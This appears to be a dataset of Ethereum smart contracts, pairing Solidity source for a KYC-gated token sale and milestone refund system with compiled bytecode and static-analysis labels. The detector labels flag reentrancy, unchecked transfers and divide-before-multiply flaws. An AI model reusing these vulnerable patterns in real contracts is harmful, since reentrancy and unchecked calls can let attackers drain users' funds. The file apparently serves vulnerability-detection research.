05fd565b60008111610cae5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fd565b6000546001600160a01b03848116911614801590610cda57506000546001600160a01b03838116911614155b15610f7c57601554600160a01b900460ff16610d7e576001600160a01b03831660009081526011602052604090205460ff16610d7e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105fd565b601654811115610dd05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105fd565b6001600160a01b03831660009081526010602052604090205460ff16158015610e1257506001600160a01b03821660009081526010602052604090205460ff16155b610e6a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105fd565b6015546001600160a01b03838116911614610eef5760175481610e8c84610876565b610e969190611b26565b10610eef5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105fd565b6000610efa30610876565b601854601654919250821015908210610f135760165491505b808015610f2a5750601554600160a81b900460ff16155b8015610f4457506015546001600160a01b03868116911614155b8015610f595750601554600160b01b900460ff165b15610f7957610f6782611181565b478015610f7757610f77476110c3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fbe57506001600160a01b03831660009081526005602052604090205460ff165b80610ff057506015546001600160a01b03858116911614801590610ff057506015546001600160a01b03848116911614155b15610ffd57506000611077565b6015546001600160a01b03858116911614801561102857506014546001600160a01b03848116911614155b1561103a57600854600c55600954600d555b6015546001600160a01b03848116911614801561106557506014546001600160a01b03858116911614155b1561107757600a54600c55600b54600d555b6110838484848461130a565b50505050565b600081848411156110ad5760405162461bcd60e51b81526004016105fd9190611a2b565b5060006110ba8486611b7f565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561066e573d6000803e3d6000fd5b60006006548211156111645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105fd565b600061116e611338565b905061117a838261135b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c9576111c9611bc7565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121d57600080fd5b505afa158015611231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112559190611801565b8160018151811061126857611268611bc7565b6001600160a01b03928316602091820292909201015260145461128e9130911684610a62565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c7908590600090869030904290600401611ab5565b600060405180830381600087803b1580156112e157600080fd5b505af11580156112f5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113175761131761139d565b6113228484846113cb565b8061108357611083600e54600c55600f54600d55565b60008060006113456114c2565b9092509050611354828261135b565b9250505090565b600061117a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611506565b600c541580156113ad5750600d54155b156113b457565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806113dd87611534565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061140f9087611591565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461143e90866115d3565b6001600160a01b03891660009081526002602052604090205561146081611632565b61146a848361167c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114af91815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006114df828261135b565b8210156114fd5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115275760405162461bcd60e51b81526004016105fd9190611a2b565b5060006110ba8486611b3e565b60008060008060008060008060006115518a600c54600d546116a0565b9250925092506000611561611338565b905060008060006115748e8787876116f5565b919e509c509a509598509396509194505050505091939550919395565b600061117a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611089565b6000806115e08385611b26565b90508381101561117a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fd565b600061163c611338565b9050600061164a8383611745565b3060009081526002602052604090205490915061166790826115d3565b30600090815260026020526040902055505050565b6006546116899083611591565b60065560075461169990826115d3565b6007555050565b60008080806116ba60646116b48989611745565b9061135b565b905060006116cd60646116b48a89611745565b905060006116e5826116df8b86611591565b90611591565b9992985090965090945050505050565b60008080806117048886611745565b905060006117128887611745565b905060006117208888611745565b90506000611732826116df8686611591565b939b939a50919850919650505050505050565b60008261175457506000610683565b60006117608385611b60565b90508261176d8583611b3e565b1461117a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fd565b80356117cf81611bf3565b919050565b803580151581146117cf57600080fd5b6000602082840312156117f657600080fd5b813561117a81611bf3565b60006020828403121561181357600080fd5b815161117a81611bf3565b6000806040838503121561183157600080fd5b823561183c81611bf3565b9150602083013561184c81611bf3565b809150509250929050565b60008060006060848603121561186c57600080fd5b833561187781611bf3565b9250602084013561188781611bf3565b929592945050506040919091013590565b600080604083850312156118ab57600080fd5b82356118b681611bf3565b91506118c4602084016117d4565b90509250929050565b600080604083850312156118e057600080fd5b82356118eb81611bf3565b946020939093013593505050565b6000602080838503121561190c57600080fd5b823567ffffffffffffffff8082111561192457600080fd5b818501915085601f83011261193857600080fd5b81358181111561194a5761194a611bdd565b8060051b604051601f19603f8301168101818110858211171561196f5761196f611bdd565b604052828152858101935084860182860187018a101561198e57600080fd5b600095505b838610156119b8576119a4816117c4565b855260019590950194938601938601611993565b5098975050505050505050565b6000602082840312156119d757600080fd5b61117a826117d4565b6000602082840312156119f257600080fd5b5035919050565b60008060008060808587031215611a0f57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611a5857858101830151858201604001528201611a3c565b81811115611a6a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b055784516001600160a01b031683529383019391830191600101611ae0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3957611b39611bb1565b500190565b600082611b5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b7a57611b7a611bb1565b500290565b600082821015611b9157611b91611bb1565b500390565b6000600019821415611baa57611baa611bb1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208da462bed92c2db86f97f8d80e26612a637b52db0090d6c0303ae2cde73a68d164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,086
0xe94a93e43551513d46197c649bfba9f9d6d73f59
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed oldOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner, "msg.sender == owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { require(address(0) != _newOwner, "address(0) != _newOwner"); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner, "msg.sender == newOwner"); emit OwnershipTransferred(owner, msg.sender); owner = msg.sender; newOwner = address(0); } } contract tokenInterface { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool); function burn(uint256 _value) public returns(bool); uint256 public totalSupply; uint256 public decimals; } contract AtomaxKycInterface { // false if the ico is not started, true if the ico is started and running, true if the ico is completed function started() public view returns(bool); // false if the ico is not started, false if the ico is started and running, true if the ico is completed function ended() public view returns(bool); // time stamp of the starting time of the ico, must return 0 if it depends on the block number function startTime() public view returns(uint256); // time stamp of the ending time of the ico, must retrun 0 if it depends on the block number function endTime() public view returns(uint256); // returns the total number of the tokens available for the sale, must not change when the ico is started function totalTokens() public view returns(uint256); // returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(), // then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens() function remainingTokens() public view returns(uint256); // return the price as number of tokens released for each ether function price() public view returns(uint256); } contract AtomaxKyc { using SafeMath for uint256; mapping (address => bool) public isKycSigner; mapping (bytes32 => uint256) public alreadyPayed; event KycVerified(address indexed signer, address buyerAddress, bytes32 buyerId, uint maxAmount); constructor() internal { isKycSigner[0x9787295cdAb28b6640bc7e7db52b447B56b1b1f0] = true; //ATOMAX KYC 1 SIGNER isKycSigner[0x3b3f379e49cD95937121567EE696dB6657861FB0] = true; //ATOMAX KYC 2 SIGNER } // Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed function releaseTokensTo(address buyer) internal returns(bool); function buyTokensFor(address _buyerAddress, bytes32 _buyerId, uint _maxAmount, uint8 _v, bytes32 _r, bytes32 _s, uint8 _bv, bytes32 _br, bytes32 _bs) public payable returns (bool) { bytes32 hash = hasher ( _buyerAddress, _buyerId, _maxAmount ); address signer = ecrecover(hash, _bv, _br, _bs); require ( signer == _buyerAddress, "signer == _buyerAddress " ); return buyImplementation(_buyerAddress, _buyerId, _maxAmount, _v, _r, _s); } function buyTokens(bytes32 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s); } function buyImplementation(address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount, uint8 _v, bytes32 _r, bytes32 _s) private returns (bool) { // check the signature bytes32 hash = hasher ( _buyerAddress, _buyerId, _maxAmount ); address signer = ecrecover(hash, _v, _r, _s); require( isKycSigner[signer], "isKycSigner[signer]"); uint256 totalPayed = alreadyPayed[_buyerId].add(msg.value); require(totalPayed <= _maxAmount); alreadyPayed[_buyerId] = totalPayed; emit KycVerified(signer, _buyerAddress, _buyerId, _maxAmount); return releaseTokensTo(_buyerAddress); } function hasher (address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount) public view returns ( bytes32 hash ) { hash = keccak256(abi.encodePacked("Atomax authorization:", this, _buyerAddress, _buyerId, _maxAmount)); } } contract RC_KYC is AtomaxKycInterface, AtomaxKyc { using SafeMath for uint256; TokedoDaico tokenSaleContract; uint256 public startTime; uint256 public endTime; uint256 public etherMinimum; uint256 public soldTokens; uint256 public remainingTokens; uint256 public tokenPrice; mapping(address => uint256) public etherUser; // address => ether amount mapping(address => uint256) public pendingTokenUser; // address => token amount that will be claimed after KYC mapping(address => uint256) public tokenUser; // address => token amount owned constructor(address _tokenSaleContract, uint256 _tokenPrice, uint256 _remainingTokens, uint256 _etherMinimum, uint256 _startTime , uint256 _endTime) public { require ( _tokenSaleContract != address(0), "_tokenSaleContract != address(0)" ); require ( _tokenPrice != 0, "_tokenPrice != 0" ); require ( _remainingTokens != 0, "_remainingTokens != 0" ); require ( _startTime != 0, "_startTime != 0" ); require ( _endTime != 0, "_endTime != 0" ); tokenSaleContract = TokedoDaico(_tokenSaleContract); soldTokens = 0; remainingTokens = _remainingTokens; tokenPrice = _tokenPrice; etherMinimum = _etherMinimum; startTime = _startTime; endTime = _endTime; } modifier onlyTokenSaleOwner() { require(msg.sender == tokenSaleContract.owner() ); _; } function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner { if ( _newStart != 0 ) startTime = _newStart; if ( _newEnd != 0 ) endTime = _newEnd; } function changeMinimum(uint256 _newEtherMinimum) public onlyTokenSaleOwner { etherMinimum = _newEtherMinimum; } function releaseTokensTo(address buyer) internal returns(bool) { if( msg.value > 0 ) takeEther(buyer); giveToken(buyer); return true; } function started() public view returns(bool) { return now > startTime || remainingTokens == 0; } function ended() public view returns(bool) { return now > endTime || remainingTokens == 0; } function startTime() public view returns(uint) { return startTime; } function endTime() public view returns(uint) { return endTime; } function totalTokens() public view returns(uint) { return remainingTokens.add(soldTokens); } function remainingTokens() public view returns(uint) { return remainingTokens; } function price() public view returns(uint) { return uint256(1 ether).div( tokenPrice ).mul( 10 ** uint256(tokenSaleContract.decimals()) ); } function () public payable{ takeEther(msg.sender); } event TakeEther(address buyer, uint256 value, uint256 soldToken, uint256 tokenPrice ); function takeEther(address _buyer) internal { require( now > startTime, "now > startTime" ); require( now < endTime, "now < endTime"); require( msg.value >= etherMinimum, "msg.value >= etherMinimum"); require( remainingTokens > 0, "remainingTokens > 0" ); uint256 oneToken = 10 ** uint256(tokenSaleContract.decimals()); uint256 tokenAmount = msg.value.mul( oneToken ).div( tokenPrice ); uint256 remainingTokensGlobal = tokenInterface( tokenSaleContract.tokenContract() ).balanceOf( address(tokenSaleContract) ); uint256 remainingTokensApplied; if ( remainingTokensGlobal > remainingTokens ) { remainingTokensApplied = remainingTokens; } else { remainingTokensApplied = remainingTokensGlobal; } uint256 refund = 0; if ( remainingTokensApplied < tokenAmount ) { refund = (tokenAmount - remainingTokensApplied).mul(tokenPrice).div(oneToken); tokenAmount = remainingTokensApplied; remainingTokens = 0; // set remaining token to 0 _buyer.transfer(refund); } else { remainingTokens = remainingTokens.sub(tokenAmount); // update remaining token without bonus } etherUser[_buyer] = etherUser[_buyer].add(msg.value.sub(refund)); pendingTokenUser[_buyer] = pendingTokenUser[_buyer].add(tokenAmount); emit TakeEther( _buyer, msg.value, tokenAmount, tokenPrice ); } function giveToken(address _buyer) internal { require( pendingTokenUser[_buyer] > 0, "pendingTokenUser[_buyer] > 0" ); tokenUser[_buyer] = tokenUser[_buyer].add(pendingTokenUser[_buyer]); tokenSaleContract.sendTokens(_buyer, pendingTokenUser[_buyer]); soldTokens = soldTokens.add(pendingTokenUser[_buyer]); pendingTokenUser[_buyer] = 0; require( address(tokenSaleContract).call.value( etherUser[_buyer] )( bytes4( keccak256("forwardEther()") ) ) ); etherUser[_buyer] = 0; } function refundEther(address to) public onlyTokenSaleOwner { to.transfer(etherUser[to]); etherUser[to] = 0; pendingTokenUser[to] = 0; } function withdraw(address to, uint256 value) public onlyTokenSaleOwner { to.transfer(value); } function userBalance(address _user) public view returns( uint256 _pendingTokenUser, uint256 _tokenUser, uint256 _etherUser ) { return (pendingTokenUser[_user], tokenUser[_user], etherUser[_user]); } } contract TokedoDaico is Ownable { using SafeMath for uint256; tokenInterface public tokenContract; address public milestoneSystem; uint256 public decimals; uint256 public tokenPrice; mapping(address => bool) public rc; constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public { tokenContract = tokenInterface(_tokenAddress); decimals = tokenContract.decimals(); tokenPrice = _tokenPrice; milestoneSystem = new MilestoneSystem(_wallet,_tokenAddress, _time, _funds, _tokenPrice, _activeSupply); } modifier onlyRC() { require( rc[msg.sender], "rc[msg.sender]" ); //check if is an authorized rcContract _; } function forwardEther() onlyRC payable public returns(bool) { require(milestoneSystem.call.value(msg.value)(), "wallet.call.value(msg.value)()"); return true; } function sendTokens(address _buyer, uint256 _amount) onlyRC public returns(bool) { return tokenContract.transfer(_buyer, _amount); } event NewRC(address contr); function addRC(address _rc) onlyOwner public { rc[ _rc ] = true; emit NewRC(_rc); } function withdrawTokens(address to, uint256 value) public onlyOwner returns (bool) { return tokenContract.transfer(to, value); } function setTokenContract(address _tokenContract) public onlyOwner { tokenContract = tokenInterface(_tokenContract); } } contract MilestoneSystem { using SafeMath for uint256; tokenInterface public tokenContract; TokedoDaico public tokenSaleContract; uint256[] public time; uint256[] public funds; bool public locked = false; uint256 public endTimeToReturnTokens; uint8 public step = 0; uint256 public constant timeframeMilestone = 3 days; uint256 public constant timeframeDeath = 30 days; uint256 public activeSupply; uint256 public tokenPrice; uint256 public etherReceived; address public wallet; mapping(address => mapping(uint8 => uint256) ) public balance; mapping(uint8 => uint256) public tokenDistrusted; constructor(address _wallet, address _tokenAddress, uint256[] _time, uint256[] _funds, uint256 _tokenPrice, uint256 _activeSupply) public { require( _wallet != address(0), "_wallet != address(0)" ); require( _time.length != 0, "_time.length != 0" ); require( _time.length == _funds.length, "_time.length == _funds.length" ); wallet = _wallet; tokenContract = tokenInterface(_tokenAddress); tokenSaleContract = TokedoDaico(msg.sender); time = _time; funds = _funds; activeSupply = _activeSupply; tokenPrice = _tokenPrice; } modifier onlyTokenSaleOwner() { require(msg.sender == tokenSaleContract.owner(), "msg.sender == tokenSaleContract.owner()" ); _; } event Distrust(address sender, uint256 amount); event Locked(); function distrust(address _from, uint _value, bytes _data) public { require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)"); if ( !locked ) { uint256 startTimeMilestone = time[step].sub(timeframeMilestone); uint256 endTimeMilestone = time[step]; uint256 startTimeProjectDeath = time[step].add(timeframeDeath); bool unclaimedFunds = funds[step] > 0; require( ( now > startTimeMilestone && now < endTimeMilestone ) || ( now > startTimeProjectDeath && unclaimedFunds ), "( now > startTimeMilestone && now < endTimeMilestone ) || ( now > startTimeProjectDeath && unclaimedFunds )" ); } else { require( locked && now < endTimeToReturnTokens ); //a timeframePost to deposit all tokens and then claim the refundMe method } balance[_from][step] = balance[_from][step].add(_value); tokenDistrusted[step] = tokenDistrusted[step].add(_value); emit Distrust(msg.sender, _value); if( tokenDistrusted[step] > activeSupply && !locked ) { locked = true; endTimeToReturnTokens = now.add(timeframeDeath); emit Locked(); } } function tokenFallback(address _from, uint _value, bytes _data) public { distrust( _from, _value, _data); } function receiveApproval( address _from, uint _value, bytes _data) public { require(msg.sender == address(tokenContract), "msg.sender == address(tokenContract)"); require(msg.sender.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, this, _value)); distrust( _from, _value, _data); } event Trust(address sender, uint256 amount); event Unlocked(); function trust(uint8 _step) public { require( balance[msg.sender][_step] > 0 , "balance[msg.sender] > 0"); uint256 amount = balance[msg.sender][_step]; balance[msg.sender][_step] = 0; tokenDistrusted[_step] = tokenDistrusted[_step].sub(amount); tokenContract.transfer(msg.sender, amount); emit Trust(msg.sender, amount); if( tokenDistrusted[step] <= activeSupply && locked ) { locked = false; endTimeToReturnTokens = 0; emit Unlocked(); } } event Refund(address sender, uint256 money); function refundMe() public { require(locked, "locked"); require( now > endTimeToReturnTokens, "now > endTimeToReturnTokens" ); uint256 ethTot = address(this).balance; require( ethTot > 0 , "ethTot > 0"); uint256 tknAmount = balance[msg.sender][step]; require( tknAmount > 0 , "tknAmount > 0"); balance[msg.sender][step] = 0; tokenContract.burn(tknAmount); uint256 tknTot = tokenDistrusted[step]; uint256 rate = tknAmount.mul(1e18).div(tknTot); uint256 money = ethTot.mul(rate).div(1e18); if( money > address(this).balance ) { money = address(this).balance; } msg.sender.transfer(money); emit Refund(msg.sender, money); } function ownerWithdraw() public onlyTokenSaleOwner { require(!locked, "!locked"); require(now > time[step], "now > time[step]"); require(funds[step] > 0, "funds[step] > 0"); uint256 amountApplied = funds[step]; funds[step] = 0; step = step+1; uint256 value; if( amountApplied > address(this).balance || time.length == step+1) value = address(this).balance; else { value = amountApplied; } msg.sender.transfer(value); } function ownerWithdrawTokens(address _tokenContract, address to, uint256 value) public onlyTokenSaleOwner returns (bool) { //for airdrop reason to distribute to Tokedo Token Holder require( _tokenContract != address(tokenContract), "_tokenContract != address(tokenContract)"); // the owner can withdraw tokens except Tokedo Tokens return tokenInterface(_tokenContract).transfer(to, value); } function setWallet(address _wallet) public onlyTokenSaleOwner returns(bool) { require( _wallet != address(0), "_wallet != address(0)" ); wallet = _wallet; return true; } function () public payable { require(msg.sender == address(tokenSaleContract), "msg.sender == address(tokenSaleContract)"); if( etherReceived < funds[0] ) { require( wallet != address(0), "wallet != address(0)" ); wallet.transfer(msg.value); } etherReceived = etherReceived.add(msg.value); } }
0x6080604052600436106101195763ffffffff60e060020a6000350416630103c92b81146101245780630570d5681461016357806312fa6feb146101985780631f2698ab146101ad5780631f378b8a146101c25780632a513dd9146101e35780633197cbb6146101fb57806334323d32146102225780635023b6a7146102435780635983ae4e1461025b5780635ed9ebfc14610282578063675cef141461029757806378e97925146102ac5780637e1c0c09146102c15780637ff9b596146102d6578063924669b2146102eb578063a0355eca1461030c578063a035b1fe14610327578063b1fe3eef1461033c578063bf58390314610371578063c072422d14610386578063ce1ff67e146103a0578063f3fef3a3146103c1575b610122336103e5565b005b34801561013057600080fd5b50610145600160a060020a0360043516610897565b60408051938452602084019290925282820152519081900360600190f35b34801561016f57600080fd5b50610184600160a060020a03600435166108c9565b604080519115158252519081900360200190f35b3480156101a457600080fd5b506101846108de565b3480156101b957600080fd5b506101846108f5565b3480156101ce57600080fd5b50610122600160a060020a036004351661090a565b3480156101ef57600080fd5b50610122600435610a05565b34801561020757600080fd5b50610210610a9d565b60408051918252519081900360200190f35b34801561022e57600080fd5b50610210600160a060020a0360043516610aa3565b34801561024f57600080fd5b50610210600435610ab5565b34801561026757600080fd5b50610210600160a060020a0360043516602435604435610ac7565b34801561028e57600080fd5b50610210610ba0565b3480156102a357600080fd5b50610210610ba6565b3480156102b857600080fd5b50610210610bac565b3480156102cd57600080fd5b50610210610bb2565b3480156102e257600080fd5b50610210610bcb565b3480156102f757600080fd5b50610210600160a060020a0360043516610bd1565b34801561031857600080fd5b50610122600435602435610be3565b34801561033357600080fd5b50610210610c92565b610184600160a060020a036004351660243560443560ff6064358116906084359060a4359060c4351660e43561010435610d45565b34801561037d57600080fd5b50610210610e3f565b61018460043560243560ff60443516606435608435610e45565b3480156103ac57600080fd5b50610210600160a060020a0360043516610e5f565b3480156103cd57600080fd5b50610122600160a060020a0360043516602435610e71565b600080600080600060035442111515610448576040805160e560020a62461bcd02815260206004820152600f60248201527f6e6f77203e20737461727454696d650000000000000000000000000000000000604482015290519081900360640190fd5b60045442106104a1576040805160e560020a62461bcd02815260206004820152600d60248201527f6e6f77203c20656e6454696d6500000000000000000000000000000000000000604482015290519081900360640190fd5b6005543410156104fb576040805160e560020a62461bcd02815260206004820152601960248201527f6d73672e76616c7565203e3d2065746865724d696e696d756d00000000000000604482015290519081900360640190fd5b600754600010610555576040805160e560020a62461bcd02815260206004820152601360248201527f72656d61696e696e67546f6b656e73203e203000000000000000000000000000604482015290519081900360640190fd5b600260009054906101000a9004600160a060020a0316600160a060020a031663313ce5676040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156105a857600080fd5b505af11580156105bc573d6000803e3d6000fd5b505050506040513d60208110156105d257600080fd5b5051600854600a9190910a95506105ff906105f3348863ffffffff610f3f16565b9063ffffffff610f6e16565b9350600260009054906101000a9004600160a060020a0316600160a060020a03166355a373d66040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561065457600080fd5b505af1158015610668573d6000803e3d6000fd5b505050506040513d602081101561067e57600080fd5b5051600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152905191909216916370a082319160248083019260209291908290030181600087803b1580156106e857600080fd5b505af11580156106fc573d6000803e3d6000fd5b505050506040513d602081101561071257600080fd5b505160075490935083111561072b57600754915061072f565b8291505b506000838210156107a157610755856105f3600854858803610f3f90919063ffffffff16565b9050819350600060078190555085600160a060020a03166108fc829081150290604051600060405180830381858888f1935050505015801561079b573d6000803e3d6000fd5b506107b8565b6007546107b4908563ffffffff610f8316565b6007555b6107f06107cb348363ffffffff610f8316565b600160a060020a0388166000908152600960205260409020549063ffffffff610f9516565b600160a060020a038716600090815260096020908152604080832093909355600a90522054610825908563ffffffff610f9516565b600160a060020a0387166000818152600a60209081526040918290209390935560085481519283523493830193909352818101879052606082019290925290517ff33fd2b0af6a36040f085cbd9b58343c9f09b492063d2148a5da38feb77b1dbe9181900360800190a1505050505050565b600160a060020a03166000908152600a6020908152604080832054600b83528184205460099093529220549192909190565b60006020819052908152604090205460ff1681565b60006004544211806108f05750600754155b905090565b60006003544211806108f05750506007541590565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561095d57600080fd5b505af1158015610971573d6000803e3d6000fd5b505050506040513d602081101561098757600080fd5b5051600160a060020a0316331461099d57600080fd5b600160a060020a03811660008181526009602052604080822054905181156108fc0292818181858888f193505050501580156109dd573d6000803e3d6000fd5b50600160a060020a03166000908152600960209081526040808320839055600a909152812055565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610a5857600080fd5b505af1158015610a6c573d6000803e3d6000fd5b505050506040513d6020811015610a8257600080fd5b5051600160a060020a03163314610a9857600080fd5b600555565b60045490565b600a6020526000908152604090205481565b60016020526000908152604090205481565b604080517f41746f6d617820617574686f72697a6174696f6e3a00000000000000000000006020808301919091526c010000000000000000000000003081026035840152600160a060020a038716026049830152605d8201859052607d80830185905283518084039091018152609d909201928390528151600093918291908401908083835b60208310610b6c5780518252601f199092019160209182019101610b4d565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120979650505050505050565b60065481565b60055481565b60035490565b60006108f0600654600754610f9590919063ffffffff16565b60085481565b60096020526000908152604090205481565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610c3657600080fd5b505af1158015610c4a573d6000803e3d6000fd5b505050506040513d6020811015610c6057600080fd5b5051600160a060020a03163314610c7657600080fd5b8115610c825760038290555b8015610c8e5760048190555b5050565b60006108f0600260009054906101000a9004600160a060020a0316600160a060020a031663313ce5676040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610cea57600080fd5b505af1158015610cfe573d6000803e3d6000fd5b505050506040513d6020811015610d1457600080fd5b5051600854600a9190910a90610d3990670de0b6b3a76400009063ffffffff610f6e16565b9063ffffffff610f3f16565b6000806000610d558c8c8c610ac7565b604080516000808252602080830180855285905260ff8b1683850152606083018a905260808301899052925193955060019360a08084019493601f19830193908390039091019190865af1158015610db1573d6000803e3d6000fd5b5050604051601f190151915050600160a060020a03808216908d1614610e21576040805160e560020a62461bcd02815260206004820152601860248201527f7369676e6572203d3d205f627579657241646472657373200000000000000000604482015290519081900360640190fd5b610e2f8c8c8c8c8c8c610fa2565b9c9b505050505050505050505050565b60075490565b6000610e55338787878787610fa2565b9695505050505050565b600b6020526000908152604090205481565b600260009054906101000a9004600160a060020a0316600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610ec457600080fd5b505af1158015610ed8573d6000803e3d6000fd5b505050506040513d6020811015610eee57600080fd5b5051600160a060020a03163314610f0457600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610f3a573d6000803e3d6000fd5b505050565b6000821515610f5057506000610f68565b50818102818382811515610f6057fe5b0414610f6857fe5b92915050565b60008183811515610f7b57fe5b049392505050565b600082821115610f8f57fe5b50900390565b81810182811015610f6857fe5b600080600080610fb38a8a8a610ac7565b604080516000808252602080830180855285905260ff8c1683850152606083018b9052608083018a9052925193965060019360a08084019493601f19830193908390039091019190865af115801561100f573d6000803e3d6000fd5b505060408051601f190151600160a060020a03811660009081526020819052919091205490935060ff1615159050611091576040805160e560020a62461bcd02815260206004820152601360248201527f69734b79635369676e65725b7369676e65725d00000000000000000000000000604482015290519081900360640190fd5b6000898152600160205260409020546110b0903463ffffffff610f9516565b9050878111156110bf57600080fd5b6000898152600160209081526040918290208390558151600160a060020a038d811682529181018c90528083018b90529151908416917faa8045c83ac4ee300a0e08a82a65d0a5a85baa7f13ed145c966d603233129215919081900360600190a26111298a611137565b9a9950505050505050505050565b60008034111561114a5761114a826103e5565b6111538261115b565b506001919050565b600160a060020a0381166000908152600a6020526040812054116111c9576040805160e560020a62461bcd02815260206004820152601c60248201527f70656e64696e67546f6b656e557365725b5f62757965725d203e203000000000604482015290519081900360640190fd5b600160a060020a0381166000908152600a6020908152604080832054600b909252909120546111fd9163ffffffff610f9516565b600160a060020a038083166000818152600b6020908152604080832095909555600254600a82528583205486517f05ab421d00000000000000000000000000000000000000000000000000000000815260048101959095526024850152945194909316936305ab421d936044808501949193918390030190829087803b15801561128657600080fd5b505af115801561129a573d6000803e3d6000fd5b505050506040513d60208110156112b057600080fd5b5050600160a060020a0381166000908152600a60205260409020546006546112dd9163ffffffff610f9516565b600655600160a060020a038082166000908152600a6020908152604080832083905560025460099092528083205481517f666f7277617264457468657228290000000000000000000000000000000000008152825190819003600e01812063ffffffff60e060020a9182900490811690910282529251939095169491939092600480840193829003018185885af19350505050151561137b57600080fd5b600160a060020a03166000908152600960205260408120555600a165627a7a72305820084520c52520b347053db3a8b303611a3c59b9ac22b449de2940c508725f51e70029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,087
0xab58bc75a3a4d2e24d8f67fc618bc18f19840be4
